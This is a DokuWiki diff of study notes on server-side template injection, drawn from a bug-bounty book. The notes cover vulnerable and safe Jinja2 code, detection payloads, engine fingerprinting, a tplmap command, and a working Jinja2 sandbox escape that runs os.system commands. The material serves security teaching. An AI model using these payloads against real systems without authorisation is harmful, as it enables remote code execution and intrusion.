User Tools

Site Tools


bbc:16_template_injection

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

bbc:16_template_injection [2026/05/14 16:51] – bbc ch16 server-side template injection drewbbc:16_template_injection [2026/05/14 19:02] (current) – fix SSTI formatting - escape DokuWiki curly brace interpretation drew
Line 3: Line 3:
 //Source: Bug Bounty Bootcamp by Vickie Li// //Source: Bug Bounty Bootcamp by Vickie Li//
  
-===== How SSTI Works =====+Template engines (Jinja2, Twig, FreeMarker, ERB, Smarty) combine application data with templates to generate HTML pages. SSTI occurs when user input is concatenated directly into a template string rather than passed in as a safe data variable.
  
-Template engines (Jinja2, Twig, FreeMarker, ERB, Smarty) combine application data with templates to generate HTML pages. SSTI occurs when user input is concatenated directly into a template string rather than being passed in as a safe data variable:+===== How SSTI Works =====
  
 **Vulnerable code (Python/Jinja2):** **Vulnerable code (Python/Jinja2):**
Line 12: Line 12:
 tmpl = Template("<html><h1>Hello: " + user_input + "</h1></html>") tmpl = Template("<html><h1>Hello: " + user_input + "</h1></html>")
 tmpl.render() tmpl.render()
-```+</code>
  
 **Safe code:** **Safe code:**
 <code python> <code python>
-tmpl = Template("<html><h1>Hello: {{ name }}</h1></html>")+tmpl = Template("<html><h1>Hello: {{name}}</h1></html>")
 tmpl.render(name=user_input) tmpl.render(name=user_input)
-```+</code>
  
-When code is vulnerable, submitting ''{{1+1}}'' returns ''2'' in the page -- the template engine executed the expression.+When code is vulnerable, submitting <nowiki>{{1+1}}</nowiki> returns ''2'' in the page -- the template engine executed the expression.
  
 ===== Prevention ===== ===== Prevention =====
Line 42: Line 42:
 <code> <code>
 {{1+abcxx}}${1+abcxx}<%1+abcxx%>[abcxx] {{1+abcxx}}${1+abcxx}<%1+abcxx%>[abcxx]
-```+</code>
  
-If the server returns an error or renders unexpectedly, template injection is likely. Also try:+If the server returns an error or renders unexpectedly, template injection is likely. Also try these engine-specific payloads:
  
 ^ Payload ^ Works in ^ ^ Payload ^ Works in ^
-''{{7*7}}'' | Jinja2, Twig, Smarty (Python/PHP) |+<nowiki>{{7*7}}</nowiki> | Jinja2, Twig, Smarty (Python/PHP) |
 | ''${7*7}'' | FreeMarker, Thymeleaf (Java) | | ''${7*7}'' | FreeMarker, Thymeleaf (Java) |
 | ''<%= 7*7 %>'' | ERB (Ruby) | | ''<%= 7*7 %>'' | ERB (Ruby) |
Line 53: Line 53:
 If any of these returns ''49'', SSTI is confirmed. If any of these returns ''49'', SSTI is confirmed.
  
-If input is placed inside expression tags already (e.g., ''{{USER_INPUT}}''), just submit ''7*7'' without the brackets and check if ''49'' is returned.+If input is placed inside expression tags already (e.g., <nowiki>{{user_input}}</nowiki>), just submit ''7*7'' without the brackets and check if ''49'' is returned.
  
 ==== Step 3: Identify the Template Engine ==== ==== Step 3: Identify the Template Engine ====
  
   * Error message may name the engine (e.g., ''jinja2.exceptions.UndefinedError'')   * Error message may name the engine (e.g., ''jinja2.exceptions.UndefinedError'')
-  * ''{{7*'7'}}'' returns ''7777777'' in Jinja2, ''49'' in Twig +  * <nowiki>{{7*'7'}}</nowiki> returns ''7777777'' in Jinja2, ''49'' in Twig 
-  * ''<%= 7*7 %>'' returning 49 -ERB +  * ''<%= 7*7 %>'' returning ''49'' -- ERB 
-  * ''${7*7}'' returning 49 -FreeMarker or Thymeleaf+  * ''${7*7}'' returning ''49'' -- FreeMarker or Thymeleaf
  
 ===== Escalating SSTI to RCE (Jinja2) ===== ===== Escalating SSTI to RCE (Jinja2) =====
  
-Jinja2 blocks direct ''import'' and ''os'', but Python's built-in class hierarchy is accessible. Use subclass traversal to reach the ''catch_warnings'' class, which has access to ''__builtins__'':+Jinja2 blocks direct import and ''os'', but Python's built-in class hierarchy is accessible. Use subclass traversal to reach the ''catch_warnings'' class, which has access to builtins.
  
-**List all subclasses of object:**+List all subclasses of object:
 <code> <code>
 {{[].__class__.__bases__[0].__subclasses__()}} {{[].__class__.__bases__[0].__subclasses__()}}
-```+</code>
  
-**Find catch_warnings and access builtins:**+Find ''catch_warnings'' and access builtins:
 <code> <code>
 {% for x in [].__class__.__bases__[0].__subclasses__() %} {% for x in [].__class__.__bases__[0].__subclasses__() %}
-{% if 'catch_warnings' in x.__name__ %} +  {% if 'catch_warnings' in x.__name__ %} 
-{{x()._module.__builtins__}} +    {{ x()._module.__builtins__ }} 
-{% endif %}+  {% endif %}
 {% endfor %} {% endfor %}
-```+</code>
  
-**Execute a system command (e.g., ls):**+Execute a system command (e.g., ''ls''):
 <code> <code>
 {% for x in [].__class__.__bases__[0].__subclasses__() %} {% for x in [].__class__.__bases__[0].__subclasses__() %}
-{% if 'catch_warnings' in x.__name__ %} +  {% if 'catch_warnings' in x.__name__ %} 
-{{x()._module.__builtins__['__import__']('os').system('ls')}} +    {{ x()._module.__builtins__['__import__']('os').system('ls') }} 
-{% endif %}+  {% endif %}
 {% endfor %} {% endfor %}
-```+</code>
  
-**Safe PoC -- create a file with a distinct name:**+Safe PoC -- create a file with a distinct name:
 <code> <code>
 {% for x in [].__class__.__bases__[0].__subclasses__() %} {% for x in [].__class__.__bases__[0].__subclasses__() %}
-{% if 'warning' in x.__name__ %} +  {% if 'warning' in x.__name__ %} 
-{{x()._module.__builtins__['__import__']('os').system('touch ssti_poc_by_YOUR_NAME.txt')}} +    {{ x()._module.__builtins__['__import__']('os').system('touch ssti_poc_by_your_name.txt') }} 
-{% endif %}+  {% endif %}
 {% endfor %} {% endfor %}
-```+</code>
  
 Other template engines require different syntax and sandbox-escape methods -- consult engine-specific documentation and PortSwigger's SSTI research. Other template engines require different syntax and sandbox-escape methods -- consult engine-specific documentation and PortSwigger's SSTI research.
Line 102: Line 102:
 ===== Automation ===== ===== Automation =====
  
-**tplmap** (https://github.com/epinna/tplmap/) scans for SSTI, identifies the engine, and constructs exploits automatically for popular engines.+tplmap (https://github.com/epinna/tplmap/) scans for SSTI, identifies the engine, and constructs exploits automatically for popular engines
 +<code> 
 +python3 tplmap.py -u "http://example.com/page?name=INJECT_HERE" 
 +</code>
  
 ===== 7-Step Checklist ===== ===== 7-Step Checklist =====
  
   - Find user-input locations that are displayed back to the user.   - Find user-input locations that are displayed back to the user.
-  - Submit ''{{7*7}}'', ''${7*7}'', ''<%= 7*7 %>'' to detect SSTI. +  - Submit <nowiki>{{7*7}}</nowiki>, ''${7*7}'', ''<%= 7*7 %>'' to detect SSTI. 
-  - If blocked/no output: try the polyglot error payload ''{{1+abcxx}}${1+abcxx}<%1+abcxx%>[abcxx]''.+  - If blocked or no output: try the polyglot error payload <nowiki>{{1+abcxx}}</nowiki>''${1+abcxx}<%1+abcxx%>[abcxx]''.
   - Identify the template engine from error messages or differential payloads.   - Identify the template engine from error messages or differential payloads.
   - Research sandbox-escape techniques for the identified engine.   - Research sandbox-escape techniques for the identified engine.
bbc/16_template_injection.txt · Last modified: by drew

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki